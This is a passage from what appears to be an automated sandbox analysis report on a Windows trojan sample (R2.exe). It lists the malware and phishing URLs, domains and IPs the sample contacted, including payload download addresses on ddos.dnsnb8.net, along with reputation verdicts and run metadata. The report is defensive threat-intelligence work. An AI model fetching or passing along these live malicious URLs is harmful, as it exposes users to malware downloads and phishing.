                http://www.careerdesk.org/images/xs.jpg?e8ebb07=-2096852161100%Avira URL Cloudmalware
                http://ampyazilim.com.tr/images/xs2.jpg?9010004=906362904d0%Avira URL Cloudsafe
                http://amsamex.com/xs.jpg?19388a30=-63609376Z3100%Avira URL Cloudmalware
                http://www.careerdesk.org/images/xs.jpg?6340f643=-263925937x100%Avira URL Cloudmalware
                http://apple-pie.in/images/xs.jpg?29c644f8=1401719280100%Avira URL Cloudphishing
                http://www.careerdesk.org/images/xs.jpg?11838a2=36729156100%Avira URL Cloudmalware
                http://ahmediye.net/xs.jpg?e8e7cd9a=11952734240%Avira URL Cloudsafe
                http://ampyazilim.com.tr/images/xs2.jpg?23b8063f=-6993905980%Avira URL Cloudsafe
                http://ahmediye.net/xs.jpg?2c82c54b=-2054664223-30%Avira URL Cloudsafe
                http://ahmediye.net/xs.jpg?c8cad9e=10527303900%Avira URL Cloudsafe
                http://apple-pie.in/images/xs.jpgs.jpg100%Avira URL Cloudphishing
                http://ampyazilim.com.tr/images/xs2.jpg?d64dcbbc=-13990892880%Avira URL Cloudsafe
                http://www.careerdesk.org/images/xs.jpg?96b3ddc7=-243051293100%Avira URL Cloudmalware
                http://arthur.niria.biz/xs.jpg?7bdce87=1298796870100%Avira URL Cloudmalware
                http://apple-pie.in/images/xs.jpg?b092bd4e=891856830100%Avira URL Cloudphishing
                https://aefd.nelreports.net/api/report?cat=bingrms0%Avira URL Cloudsafe
                http://pan.baidu.com/s/1qWKD5ve0%Avira URL Cloudsafe
                http://ahmediye.net/xs.jpg?3bc3b77a=7184438740%Avira URL Cloudsafe
                http://ahmediye.net/xs.jpg?15a39ca=2042122500%Avira URL Cloudsafe
                http://apple-pie.in/images/xs.jpg?f396007=510836750100%Avira URL Cloudphishing
                http://g2.arrowhitech.com/xs.jpg?8672ff8f=6491989380%Avira URL Cloudsafe
                http://www.careerdesk.org/images/xs.jpg?196cfa85=-1308960349100%Avira URL Cloudmalware
                http://apple-pie.in/images/xs.jpg?31491f6=51679734100%Avira URL Cloudphishing
                http://www.careerdesk.org/images/xs.jpg?a44fd8bb=-1858116884100%Avira URL Cloudmalware
                https://xsts.auth.xboxlive.com0%Avira URL Cloudsafe
                http://arthur.niria.biz/xs.jpg?d0ca9ad5=1918881919100%Avira URL Cloudmalware
                http://ampyazilim.com.tr/images/xs2.jpg?d0e92fe1=-15800484460%Avira URL Cloudsafe
                http://arthur.niria.biz/xs.jpg?222ff603=1720705545100%Avira URL Cloudmalware
                http://ampyazilim.com.tr/images/xs2.jpg?16ed0657=-8332756330%Avira URL Cloudsafe
                http://ddos.dnsnb8.net:799/cj//k1.rarH_100%Avira URL Cloudphishing
                http://g2.arrowhitech.com/xs.jpg?d5b4acf9=-6720893930%Avira URL Cloudsafe
                http://ampyazilim.com.tr/images/xs2.jpg?8ace3555=-19661974190%Avira URL Cloudsafe
                http://ddos.dnsnb8.net:799/cj//k2.rar6_100%Avira URL Cloudmalware
                http://ahmediye.net/xs.jpg?fd2ec80=13274067200%Avira URL Cloudsafe
                http://kukutrustnet777888.info/DisableTaskMgrSoftware100%Avira URL Cloudphishing
                http://althawry.org/images/xs.jpg100%Avira URL Cloudmalware
                https://www.msn.com/spartan/mmxh0%Avira URL Cloudsafe
                https://www.ng.com0%Avira URL Cloudsafe
                http://apple-pie.in/images/xs.jpg100%Avira URL Cloudmalware
                http://apple-pie.in/images/xs.jpg?1a62f99e=442694046100%Avira URL Cloudphishing
                http://arthur.niria.biz/xs.jpg?7558a477=-1072440630100%Avira URL Cloudmalware
                http://ahmediye.net/xs.jpg?5640212f=15393690330%Avira URL Cloudsafe
                http://amsamex.com/xs.jpg?b44a4f65=-785826412100%Avira URL Cloudmalware
                http://arthur.niria.biz/xs.jpg?b14fbec7=1003336959f100%Avira URL Cloudmalware
                https://www.msn.com/en-us/money/markets/costco-is-seeing-a-gold-rush-what-s-behind-the-demand-for-it0%Avira URL Cloudsafe
                http://ahmediye.net/xs.jpg?98e1fd6=4809276180%Avira URL Cloudsafe

                Domains and IPs

                Contacted Domains

                NameIPActiveMaliciousAntivirus DetectionReputation
                www.careerdesk.org
                		54.244.188.177
                		truetrue
                  		unknown
                  ddos.dnsnb8.net
                  		44.221.84.105
                  		truetrue
                    		unknown
                    ampyazilim.com.tr
                    		37.230.104.89
                    		truetrue
                      		unknown
                      apple-pie.in
                      		44.221.84.105
                      		truetrue
                        		unknown
                        arthur.niria.biz
                        		44.221.84.105
                        		truetrue
                          		unknown
                          ahmediye.net
                          		78.46.2.155
                          		truetrue
                            		unknown
                            amsamex.com
                            		unknown
                            		unknowntrue
                              		unknown
                              althawry.org
                              		unknown
                              		unknowntrue
                                		unknown
                                g2.arrowhitech.com
                                		unknown
                                		unknowntrue
                                  		unknown

                                  Contacted URLs

                                  NameMaliciousAntivirus DetectionReputation
                                  http://ahmediye.net/xs.jpg?1eda9402=881444884true
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://ahmediye.net/xs.jpg?1aa9008f=-1611267238true
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://ampyazilim.com.tr/images/xs2.jpg?8ab49f65=-890217533true
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://ahmediye.net/xs.jpg?9c9c7192=505180084true
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://ahmediye.net/xs.jpg?873c5f9c=728382888true
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://ddos.dnsnb8.net:799/cj//k3.rartrue
                                  • Avira URL Cloud: malware
                                  		unknown
                                  http://apple-pie.in/images/xs.jpg?35067=651573true
                                  • Avira URL Cloud: phishing
                                  		unknown
                                  http://ahmediye.net/xs.jpg?ca9c78=119504952true
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://ahmediye.net/xs.jpg?b7b2679=1155720918true
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://ampyazilim.com.tr/images/xs2.jpg?35a0bf9=562329530true
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://ahmediye.net/xs.jpg?91511b59=-694843203true
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://arthur.niria.biz/xs.jpg?a33c7a9=1540490481true
                                  • Avira URL Cloud: malware
                                  		unknown
                                  http://apple-pie.in/images/xs.jpg?fcf9a73d=-355233109true
                                  • Avira URL Cloud: phishing
                                  		unknown
                                  http://ampyazilim.com.tr/images/xs2.jpg?ac94a6eb=-1399544085true
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://ampyazilim.com.tr/images/xs2.jpg?258061e0=109227296true
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://www.careerdesk.org/images/xs.jpg?71f7cbe=478016248true
                                  • Avira URL Cloud: malware
                                  		unknown
                                  http://apple-pie.in/images/xs.jpg?84b622e8=-2068438296true
                                  • Avira URL Cloud: phishing
                                  		unknown
                                  http://ampyazilim.com.tr/images/xs2.jpg?28f128c=128792484true
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://arthur.niria.biz/xs.jpg?3def25de=761812174true
                                  • Avira URL Cloud: malware
                                  		unknown
                                  http://www.careerdesk.org/images/xs.jpg?9d03c0a4=973570376true
                                  • Avira URL Cloud: malware
                                  		unknown
                                  http://www.careerdesk.org/images/xs.jpg?9bcb84a=326725780true
                                  • Avira URL Cloud: malware
                                  		unknown
                                  http://arthur.niria.biz/xs.jpg?fb47c601=-475094010true
                                  • Avira URL Cloud: malware
                                  		unknown
                                  http://arthur.niria.biz/xs.jpg?e8e2ac16=1968179332true
                                  • Avira URL Cloud: malware
                                  		unknown
                                  http://www.careerdesk.org/images/xs.jpg?da83e528=-1365045656true
                                  • Avira URL Cloud: malware
                                  		unknown
                                  http://apple-pie.in/images/xs.jpg?2eabe496=1566034220true
                                  • Avira URL Cloud: phishing
                                  		unknown
                                  http://ampyazilim.com.tr/images/xs2.jpg?9010004=906362904true
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://ampyazilim.com.tr/images/xs2.jpg?ac5b7b63=-1233100875true
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://apple-pie.in/images/xs.jpg?c0085b83=2190860true
                                  • Avira URL Cloud: phishing
                                  		unknown
                                  http://arthur.niria.biz/xs.jpg?4d6da8df=-1696902722true
                                  • Avira URL Cloud: malware
                                  		unknown
                                  http://ampyazilim.com.tr/images/xs2.jpg?2be8bf39=-611599331true
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://www.careerdesk.org/images/xs.jpg?10ed67fd=1987958763true
                                  • Avira URL Cloud: malware
                                  		unknown
                                  http://ahmediye.net/xs.jpg?d32cd494=-752036716true
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://ampyazilim.com.tr/images/xs2.jpg?bee7d50d=-1165547199true
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://ahmediye.net/xs.jpg?77e1dd4f=1738905581true
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://arthur.niria.biz/xs.jpg?28fcab5b=-1544376980true
                                  • Avira URL Cloud: malware
                                  		unknown
                                  http://www.careerdesk.org/images/xs.jpg?e8ebb07=-2096852161true
                                  • Avira URL Cloud: malware
                                  		unknown
                                  http://apple-pie.in/images/xs.jpg?29c644f8=1401719280true
                                  • Avira URL Cloud: phishing
                                  		unknown
                                  http://ampyazilim.com.tr/images/xs2.jpg?23b8063f=-699390598true
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://www.careerdesk.org/images/xs.jpg?11838a2=36729156true
                                  • Avira URL Cloud: malware
                                  		unknown
                                  http://ahmediye.net/xs.jpg?e8e7cd9a=1195273424true
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://ahmediye.net/xs.jpg?c8cad9e=1052730390true
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://ampyazilim.com.tr/images/xs2.jpg?d64dcbbc=-1399089288true
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://www.careerdesk.org/images/xs.jpg?96b3ddc7=-243051293true
                                  • Avira URL Cloud: malware
                                  		unknown
                                  http://arthur.niria.biz/xs.jpg?7bdce87=1298796870true
                                  • Avira URL Cloud: malware
                                  		unknown
                                  http://apple-pie.in/images/xs.jpg?b092bd4e=891856830true
                                  • Avira URL Cloud: phishing
                                  		unknown
                                  http://ahmediye.net/xs.jpg?3bc3b77a=718443874true
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://ahmediye.net/xs.jpg?15a39ca=204212250true
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://apple-pie.in/images/xs.jpg?f396007=510836750true
                                  • Avira URL Cloud: phishing
                                  		unknown
                                  http://apple-pie.in/images/xs.jpg?31491f6=51679734true
                                  • Avira URL Cloud: phishing
                                  		unknown
                                  http://www.careerdesk.org/images/xs.jpg?196cfa85=-1308960349true
                                  • Avira URL Cloud: malware
                                  		unknown
                                  http://www.careerdesk.org/images/xs.jpg?a44fd8bb=-1858116884true
                                  • Avira URL Cloud: malware
                                  		unknown
                                  http://arthur.niria.biz/xs.jpg?d0ca9ad5=1918881919true
                                  • Avira URL Cloud: malware
                                  		unknown
                                  http://ampyazilim.com.tr/images/xs2.jpg?d0e92fe1=-1580048446true
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://arthur.niria.biz/xs.jpg?222ff603=1720705545true
                                  • Avira URL Cloud: malware
                                  		unknown
                                  http://ampyazilim.com.tr/images/xs2.jpg?16ed0657=-833275633true
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://ampyazilim.com.tr/images/xs2.jpg?8ace3555=-1966197419true
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://ahmediye.net/xs.jpg?fd2ec80=1327406720true
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://apple-pie.in/images/xs.jpg?1a62f99e=442694046true
                                  • Avira URL Cloud: phishing
                                  		unknown
                                  http://arthur.niria.biz/xs.jpg?7558a477=-1072440630true
                                  • Avira URL Cloud: malware
                                  		unknown
                                  http://ahmediye.net/xs.jpg?5640212f=1539369033true
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://ahmediye.net/xs.jpg?98e1fd6=480927618true
                                  • Avira URL Cloud: safe
                                  		unknown

                                  URLs from Memory and Binaries

                                  NameSourceMaliciousAntivirus DetectionReputation
                                  http://www.careerdesk.org/images/xs.jpga4#Uff09.exe, a4#Uff09.exe, 00000000.00000003.1257485545.0000000000E56000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3834789318.0000000003F5B000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3851057210.0000000004963000.00000004.10000000.00040000.00000000.sdmp, a4#Uff09.exe, 00000000.00000003.1257352499.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3782061445.0000000000BDC000.00000040.00000001.01000000.00000003.sdmp, a4#Uff09.exe, 00000000.00000002.3810524933.0000000001208000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3810524933.000000000120E000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmptrue
                                  • Avira URL Cloud: malware
                                  		unknown
                                  http://amsamex.com/xs.jpg?19388a30=-63609376licationa4#Uff09.exe, 00000000.00000002.3795310600.0000000000DEE000.00000004.00000020.00020000.00000000.sdmptrue
                                  • Avira URL Cloud: malware
                                  		unknown
                                  https://api.msn.com:443/v1/news/Feed/Windows?texplorer.exe, 00000010.00000000.1363187859.0000000007276000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.0000000007276000.00000004.00000001.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  https://api.msn.com:443/v1/news/Feed/Windows?explorer.exe, 00000010.00000000.1363187859.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                  • URL Reputation: safe
                                  		unknown
                                  http://127.0.0.1/R2/server.jsona4#Uff09.exe, a4#Uff09.exe, 00000000.00000002.3735613654.0000000000401000.00000040.00000001.01000000.00000003.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://osoft.co_2010-06Xdwm.exe, 00000008.00000000.1282999485.00000262ED790000.00000004.00000001.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  https://wns.windows.com/explorer.exe, 00000010.00000000.1368434403.00000000090F2000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.2277407283.00000000090F2000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.4098690958.00000000090F2000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.3080612634.00000000090F2000.00000004.00000001.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://www.autoitscript.com/autoit3/Jexplorer.exe, 00000010.00000003.3074572182.000000000C450000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.2274022197.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.2275143577.000000000C44D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000000.1376298824.000000000C3F7000.00000004.00000001.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  https://www.msn.com/de-ch/play/games/fairyland%3a-merge-%26-magic/cg-9nw8m0c50k4wSearchApp.exe, 0000001C.00000000.1484022160.000001F49B262000.00000004.00000001.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://ddos.dnsnb8.net:799/cj//k3.rarpplgMeM.exe, 00000002.00000002.1373181796.000000000314A000.00000004.00000010.00020000.00000000.sdmptrue
                                  • Avira URL Cloud: phishing
                                  		unknown
                                  http://ddos.dnsnb8.net:799/cj//k3.rarsplgMeM.exe, 00000002.00000002.1372427561.000000000158B000.00000004.00000020.00020000.00000000.sdmptrue
                                  • Avira URL Cloud: malware
                                  		unknown
                                  http://ns.adobe.hoL2StartMenuExperienceHost.exe, 00000019.00000000.1398729366.000001A43FFC2000.00000004.00000001.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  https://outlook.live.com/owahttps://outlook.office.com/owaCodexChatButtonUpperRightSearchApp.exe, 0000001C.00000000.1558051041.000001F4AEA67000.00000004.00000001.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://g2.arrowhitech.com/xs.jpg?4332b898=429245632a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://ns.adoraStartMenuExperienceHost.exe, 00000019.00000000.1398729366.000001A43FFC2000.00000004.00000001.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://173.193.19.14/logo.gifa4#Uff09.exe, 00000000.00000002.3810524933.000000000120E000.00000004.00000010.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: malware
                                  		unknown
                                  http://g2.arrowhitech.com/xs.jpg?d5ec3d20=59338432I1a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  https://loki.delve.office.com/api33366b5b-54ef-48bf-819d-677748eae9e33B199897-A63E-44DC-BF20-DF6F6F2SearchApp.exe, 0000001C.00000000.1486175230.000001F49B460000.00000004.00000001.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://ampyazilim.com.tr/images/xs2.jpg?9010004=906362904da4#Uff09.exe, 00000000.00000002.3795310600.0000000000E95000.00000004.00000020.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://amsamex.com/xs.jpg?19388a30=-63609376Z3a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: malware
                                  		unknown
                                  http://www.careerdesk.org/images/xs.jpg?6340f643=-263925937xa4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmptrue
                                  • Avira URL Cloud: malware
                                  		unknown
                                  http://ahmediye.net/xs.jpg?2c82c54b=-2054664223-3a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://apple-pie.in/images/xs.jpgs.jpga4#Uff09.exe, 00000000.00000002.3834789318.0000000003F5B000.00000004.00000010.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: phishing
                                  		unknown
                                  https://aefd.nelreports.net/api/report?cat=bingrmsSearchApp.exe, 0000001C.00000000.1466177543.000001EC9A58B000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000000.1458791418.000001EC9969A000.00000004.00000001.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://pan.baidu.com/s/1qWKD5vea4#Uff09.exe, 00000000.00000002.3735613654.00000000008D0000.00000040.00000001.01000000.00000003.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://g2.arrowhitech.com/xs.jpg?8672ff8f=649198938a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  https://xsts.auth.xboxlive.comsvchost.exe, 0000000C.00000000.1330952171.0000018CE72A9000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000000.1496640545.000001F49D27C000.00000004.00000001.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://ddos.dnsnb8.net:799/cj//k1.rarH_plgMeM.exe, 00000002.00000003.1283746578.00000000015E8000.00000004.00000020.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: phishing
                                  		unknown
                                  http://g2.arrowhitech.com/xs.jpg?d5b4acf9=-672089393a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://ddos.dnsnb8.net:799/cj//k2.rar6_plgMeM.exe, 00000002.00000002.1372427561.00000000015DD000.00000004.00000020.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: malware
                                  		unknown
                                  http://schemas.microexplorer.exe, 00000010.00000000.1365193048.0000000007C70000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000010.00000002.4015681668.0000000008810000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000010.00000000.1366496914.0000000008820000.00000002.00000001.00040000.00000000.sdmp, RuntimeBroker.exe, 0000001A.00000000.1423268171.00000269817E0000.00000002.00000001.00040000.00000000.sdmpfalse
                                  • URL Reputation: safe
                                  		unknown
                                  http://kukutrustnet777888.info/DisableTaskMgrSoftwarea4#Uff09.exe, 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: phishing
                                  		unknown
                                  https://www.msn.com/spartan/mmxhSearchApp.exe, 0000001C.00000000.1462904696.000001EC9A1D4000.00000004.00000001.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://althawry.org/images/xs.jpga4#Uff09.exe, a4#Uff09.exe, 00000000.00000003.1257485545.0000000000E56000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3834789318.0000000003F5B000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3851057210.0000000004963000.00000004.10000000.00040000.00000000.sdmp, a4#Uff09.exe, 00000000.00000003.1257352499.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3782061445.0000000000BDC000.00000040.00000001.01000000.00000003.sdmp, a4#Uff09.exe, 00000000.00000002.3810524933.0000000001208000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3810524933.000000000120E000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: malware
                                  		unknown
                                  https://www.ng.comSearchApp.exe, 0000001C.00000000.1514229836.000001F49DAEF000.00000004.00000001.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://apple-pie.in/images/xs.jpga4#Uff09.exe, a4#Uff09.exe, 00000000.00000003.1257485545.0000000000E56000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3834789318.0000000003F5B000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3851057210.0000000004963000.00000004.10000000.00040000.00000000.sdmp, a4#Uff09.exe, 00000000.00000003.1257352499.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3782061445.0000000000BDC000.00000040.00000001.01000000.00000003.sdmp, a4#Uff09.exe, 00000000.00000002.3810524933.0000000001208000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3810524933.000000000120E000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: malware
                                  		unknown
                                  http://amsamex.com/xs.jpg?b44a4f65=-785826412a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: malware
                                  		unknown
                                  https://www.msn.com/en-us/money/markets/costco-is-seeing-a-gold-rush-what-s-behind-the-demand-for-itexplorer.exe, 00000010.00000000.1363187859.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://arthur.niria.biz/xs.jpg?b14fbec7=1003336959fa4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: malware
                                  		unknown

                                  World Map of Contacted IPs

                                  • No. of IPs < 25%
                                  • 25% < No. of IPs < 50%
                                  • 50% < No. of IPs < 75%
                                  • 75% < No. of IPs

                                  Public IPs

                                  IPDomainCountryFlagASNASN NameMalicious
                                  104.98.116.138
                                  		unknownUnited States
                                  		20940AKAMAI-ASN1EUfalse
                                  44.221.84.105
                                  		ddos.dnsnb8.netUnited States
                                  		14618AMAZON-AESUStrue
                                  78.46.2.155
                                  		ahmediye.netGermany
                                  		24940HETZNER-ASDEtrue
                                  54.244.188.177
                                  		www.careerdesk.orgUnited States
                                  		16509AMAZON-02UStrue
                                  37.230.104.89
                                  		ampyazilim.com.trTurkey
                                  		42807AEROTEK-ASTRtrue
                                  85.17.167.196
                                  		unknownNetherlands
                                  		60781LEASEWEB-NL-AMS-01NetherlandsNLfalse

                                  General Information

                                  Joe Sandbox version:40.0.0 Tourmaline
                                  Analysis ID:1467982
                                  Start date and time:2024-07-05 07:59:08 +02:00
                                  Joe Sandbox product:CloudBasic
                                  Overall analysis duration:0h 12m 44s
                                  Hypervisor based Inspection enabled:false
                                  Report type:full
                                  Cookbook file name:default.jbs
                                  Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                  Number of analysed new started processes analysed:20
                                  Number of new started drivers analysed:0
                                  Number of existing processes analysed:0
                                  Number of existing drivers analysed:0
                                  Number of injected processes analysed:20
                                  Technologies:
                                  • HCA enabled
                                  • EGA enabled
                                  • AMSI enabled
                                  Analysis Mode:default
                                  Analysis stop reason:Timeout
                                  Sample name:a4#Uff09.exe
                                  renamed because original name is a hash value
                                  Original Sample Name:R2.exe
                                  Detection:MAL
                                  Classification:mal100.spre.troj.evad.winEXE@10/136@113/6
                                  EGA Information:
                                  • Successful, ratio: 100%
                                  HCA Information:
                                  • Successful, ratio: 75%
                                  • Number of executed functions: 64
                                  • Number of non-executed functions: 48
                                  Cookbook Comments:
                                  • Found application associated with file extension: .exe
                                  • Override analysis time to 240s for sample files taking high CPU consumption

                                  Warnings

                                  • Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
                                  • Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, SIHClient.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, svchost.exe
                                  • Excluded IPs from analysis (whitelisted): 51.104.136.2, 20.190.160.14, 40.126.32.68, 40.126.32.72, 40.126.32.74, 20.190.160.22, 40.126.32.76, 40.126.32.140, 20.190.160.20, 52.168.117.175
                                  • Excluded domains from analysis (whitelisted): self-events-data.trafficmanager.net, prdv4a.aadg.msidentity.com, fs.microsoft.com, slscr.update.microsoft.com, self.events.data.microsoft.com, settings-prod-neu-2.northeurope.cloudapp.azure.com, www.tm.v4.a.prd.aadg.trafficmanager.net, ctldl.windowsupdate.com, settings-win.data.microsoft.com, onedscolprdeus19.eastus.cloudapp.azure.com, time.windows.com, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, atm-settingsfe-prod-geo2.trafficmanager.net, login.live.com, www.tm.lg.prod.aadmsa.trafficmanager.net
                                  • HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
                                  • Not all processes where analyzed, report is missing behavior information
                                  • Report size exceeded maximum capacity and may have missing behavior information.
                                  • Report size getting too big, too many NtAllocateVirtualMemory calls found.
                                  • Report size getting too big, too many NtDeviceIoControlFile calls found.
                                  • Report size getting too big, too many NtEnumerateKey calls found.
                                  • Report size getting too big, too many NtOpenFile calls found.
                                  • Report size getting too big, too many NtOpenKey calls found.
                                  • Report size getting too big, too many NtOpenKeyEx calls found.
                                  • Report size getting too big, too many NtQueryValueKey calls found.
                                  • Report size getting too big, too many NtSetValueKey calls found.
                                  • Report size getting too big, too many NtWriteVirtualMemory calls found.
                                  • VT rate limit hit for: a4#Uff09.exe

                                  Simulations

                                  Behavior and APIs

                                  TimeTypeDescription
                                  02:00:04API Interceptor3956706x Sleep call for process: a4#Uff09.exe modified
                                  02:00:04API Interceptor1x Sleep call for process: dllhost.exe modified
                                  02:00:27API Interceptor1876x Sleep call for process: explorer.exe modified
                                  03:10:10API Interceptor2x Sleep call for process: sihost.exe modified

                                  Joe Sandbox View / Context

                                  IPs

                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                  44.221.84.1051.0.0.2.exeGet hashmaliciousBdaejec, SalityBrowse
                                  • apple-pie.in/images/xs.jpg?ce2fff=121614327
                                  FXja4SyAYs.exeGet hashmaliciousUnknownBrowse
                                  • suddencover.net/index.php
                                  FXja4SyAYs.exeGet hashmaliciousUnknownBrowse
                                  • suddencover.net/index.php
                                  7sAylAXBOb.exeGet hashmaliciousUnknownBrowse
                                  • englishproud.net/index.php
                                  7sAylAXBOb.exeGet hashmaliciousUnknownBrowse
                                  • englishproud.net/index.php
                                  5a5O0c0oJP.exeGet hashmaliciousUnknownBrowse
                                  • englishproud.net/index.php
                                  5a5O0c0oJP.exeGet hashmaliciousUnknownBrowse
                                  • englishproud.net/index.php
                                  log1.exeGet hashmaliciousBabadeda, Bdaejec, NeshtaBrowse
                                  • ddos.dnsnb8.net:799/cj//k2.rar
                                  log2.exeGet hashmaliciousBabadeda, Bdaejec, NeshtaBrowse
